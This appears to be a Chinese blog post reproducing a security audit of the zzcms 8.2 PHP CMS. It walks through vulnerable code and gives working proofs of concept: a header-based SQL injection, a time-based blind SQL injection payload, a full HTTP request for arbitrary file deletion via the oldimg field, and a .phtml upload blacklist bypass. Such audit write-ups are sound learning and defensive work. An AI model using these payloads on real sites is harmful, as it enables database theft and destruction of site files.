前言:
本文并非原创,借鉴前辈文章,复现的漏洞审计
准备:
1.zzcms下载地址:
http://www.zzcms.net/download/zzcms8.2.zip
2.安装:
采用phpstudy安装即可,安装完成以后注册一个测试账号用来测试。
sql注入漏洞:
1.看博客说是user/del.php 文件存在sql注入,我们看该文件
1.
include("../inc/conn.php");
include("check.php");
//这里包含了2个文件,一个必定是sql数据库连接文件,一个必定是登录检查文件
...... //这里省略多处
while ($row=fetch_array($rs)){
if ($row["editor"]<>$username){
markit();
showmsg('非法操作!警告:你的操作已被记录!小心封你的用户及IP!');
//这里既然选择封你ip,必定会有获取你ip的函数或者方法,一般都会进行数据库查询。
//一般讲,既然有过滤,get,post只能看看哪里有漏的,但是往往那种header头部会很少进行过滤,所以,这是自己以后审计的一个点
}
del.php
2.我们继续看包含的2个文件
inc/conn.php
include(zzcmsroot."/inc/config.php");
include(zzcmsroot."/inc/wjt.php");
include(zzcmsroot."/inc/function.php");
include(zzcmsroot."/inc/zsclass.php");//分类招商在里面
include(zzcmsroot."/inc/stopsqlin.php"); //这里是sql注入全局过滤的文件
include(zzcmsroot."/inc/area.php");
if (opensite=='No') {
inc/conn.php
stopsqlin.php
check.php
注入便是在这里:
<?php
$usersf='';
$userid='';
if (!isset($_COOKIE["UserName"]) || !isset($_COOKIE["PassWord"])){
echo "<script>location.href='/user/login.php';</script>";
}else{
$username=nostr($_COOKIE["UserName"]); //可以看到这里对cookie中username进行了过滤,单引号没办法闭合
//但是这里没有对password进行过滤,但是一看cookie,是md5加密的,所以这里是没办法注入的
$rs=query("select id,usersf,lastlogintime from zzcms_user where lockuser=0 and username='".$username."' and password='".$_COOKIE["PassWord"]."'");
$row=num_rows($rs);
if (!$row){
//if ($_COOKIE["UserName"]!=$_SESSION["UserName"] || $_COOKIE["PassWord"]!=$_SESSION["PassWord"]){//当记登录状态时,只有COOKIE,没有SESSION
echo "<script>location.href='/user/login.php';</script>";
}else{
$row=fetch_array($rs);
$usersf=$row['usersf'];//left.php中用
$userid=$row['id'];//top中用
$lastlogintime=$row['lastlogintime'];
$password=$_COOKIE["PassWord"];
//这里直接用的是getip()来获取ip,并未进行任何过滤
query("UPDATE zzcms_user SET loginip = '".getip()."' WHERE username='".$username."'");//更新最后登录IP
if (strtotime(date("Y-m-d H:i:s"))-strtotime($lastlogintime)>3600*24){
query("UPDATE zzcms_user SET totleRMB = totleRMB+".jf_login." WHERE username='".$username."'");//登录时加积分
query("insert into zzcms_pay (username,dowhat,RMB,mark,sendtime) values('".$username."','每天登录用户中心送积分','+".jf_login."','','".date('Y-m-d H:i:s')."')");
}
query("UPDATE zzcms_user SET lastlogintime = '".date('Y-m-d H:i:s')."' WHERE username='".$username."'");//更新最后登录时间
}
}
?>
getip()
//这里的ip可以进行伪造
function getip(){
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}
ok,确定有注入的情况下,我们直接用sqlmap跑就好。
image.png
image.png
3.数据库拼接注入
/user/del.php
数据库在拼接处存在注入,因为并未进行任何过滤,关键是这个参数可以直接从post提交获取
<?php
$pagename=trim($_POST["pagename"]);
$tablename=trim($_POST["tablename"]); //这里只是做了多余的空格处理
$id="";
......//这里进行多次省略
if ($tablename=='zzcms_guestbook'){//saver
if (strpos($id,",")>0){
$sql="select id,saver from ".$tablename." where id in (".$id.")"; //这里的参数并未进行过滤,所以存在注入
}else{
$sql="select id,saver from ".$tablename." where id ='$id'";
}
这里注入方式采用前辈的一个通用盲注,poc构照的话,和普通注入没什么差别,最后都是可以把后面无关的语句注释了
id=1&tablename=zzcms_answer where id=999999999 union select 1,2 and if((ascii(substr(user(),1,1)) = 114),sleep(3),1)#
image.png
任意文件删除漏洞
这里就是没有进行任意过滤,导致任意删除文件
if ($action=="modify"){
query("update zzcms_textadv set adv='$adv',company='$company',advlink='$advlink',img='$img',passed=0 where username='".$_COOKIE["UserName"]."'");
//为了防止一个用户通过修改广告词功能长期霸占一个位置当用户修改广告词时只更新其内容不更新时间。
//deloldimg
if ($oldimg<>$img){
$f="../".$oldimg; //这里的参数没有进行过滤,导致任意文件删除
if (file_exists($f)){
unlink($f);
}
}
poc:
POST /user/adv.php?action=modify HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: bdshare_firstime=1563181379327; UserName=test; PassWord=cc03e747a6afbbcbf8be7668acfebee5;PHPSESSID=9t8lu6pg80eeralf5umcatrqk5
DNT: 1
X-Forwarded-For: 123.123.123.123
Referer: https://www.baidu.com
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 108
adv=tettste&advlink=/zt/show.php?id=1&company=KÕ&img=test&oldimg=admin/123321.txt&Submit3=%E5%8F%91%E5%B8%83
image.png
网站重装漏洞
目录这里是系统安装的相应步骤,一般我们在测试是否有重装漏洞的情况下,都会看网站是如何判断网站安装过的,目前基本都是判断一个install.lock文件是否存在
之前碰到的,基本都是安装就一个install.php,但是该cms把步骤都集成了几个文件中,在判断文件是否可以重装过程中,发现只有step_1.php存在判断文件install.lock的存在。
image.png image.png image.png
反射型xss
这里只能是用户登录后才可以触发,post请求的xss,可以看到这里并没有进行任何过滤。
<?php
//echo $_SERVER['REQUEST_URI'];
if (@$_POST["action"]=="search"){
echo "<script>location.href='".@$_POST["lb"]."/search.php?keyword=".@$_POST["keyword"]."'</script>";
}
if (isset($_REQUEST["skin"])){
$siteskin=$_REQUEST["skin"];
}else{
$siteskin=siteskin;
文件上传漏洞
核心文件是uploadimg.php
利用的是apache能解析phtml,从而绕过了黑名单的检测
if(!isset($_SESSION)){session_start();}
set_time_limit(1800) ;
include("inc/config.php");
if (!isset($_COOKIE["UserName"]) && !isset($_SESSION["admin"])){ 这里进行cookie是否是管理员,但是验证不是后,并未exit(); 而是弹框,意味着可以继续执行下面语句
session_write_close();
echo "<script>alert('登录后才能上传');window.close();</script>";
}
......................
function upfile() {
//是否存在文件
if (!is_uploaded_file(@$this->fileName[tmp_name])){
echo "<script>alert('请点击“浏览”,先选择您要上传的文件!\\n\\n支持的图片类型为:jpg,gif,png,bmp');parent.window.close();</script>"; exit;
}
//检查文件大小
if ($this->max_file_size*1024 < $this->fileName["size"]){
echo "<script>alert('文件大小超过了限制!最大只能上传 ".$this->max_file_size." K的文件');parent.window.close();</script>";exit;
}
//检查文件类型//这种通过在文件头加GIF89A,可骗过
if (!in_array($this->fileName["type"], $this->uptypes)) {
echo "<script>alert('文件类型错误,支持的图片类型为:jpg,gif,png,bmp');parent.window.close();</script>";exit;
}
//检查文件后缀
$hzm=strtolower(substr($this->fileName["name"],strpos($this->fileName["name"],".")));//获取.后面的后缀,如可获取到.php.gif
//核心是这里的话可以上传phtml来绕过黑名单,apache是可以解析phtml的。
if (strpos($hzm,"php")!==false || strpos($hzm,"asp")!==false ||strpos($hzm,"jsp")!==false){
echo "<script>alert('".$hzm.",这种文件不允许上传');parent.window.close();</script>";exit;
}
//创建文件目录
if (!file_exists($this->fdir)) {mkdir($this->fdir,0777,true);}
//上传文件
$tempName = $this->fileName["tmp_name"];
$fType = pathinfo($this->fileName["name"]);
$fType = $fType["extension"];
$newName =$this->fdir.$this->datu;
$sImgName =$this->fdir.str_replace('.','_small.',$this->datu);
image.png
总结:
该文章是通过下面博客总结的审计,审计先从小cms开始,慢慢去提升自己,时间会证明一切。
[# Mochazz's blog
]
网友评论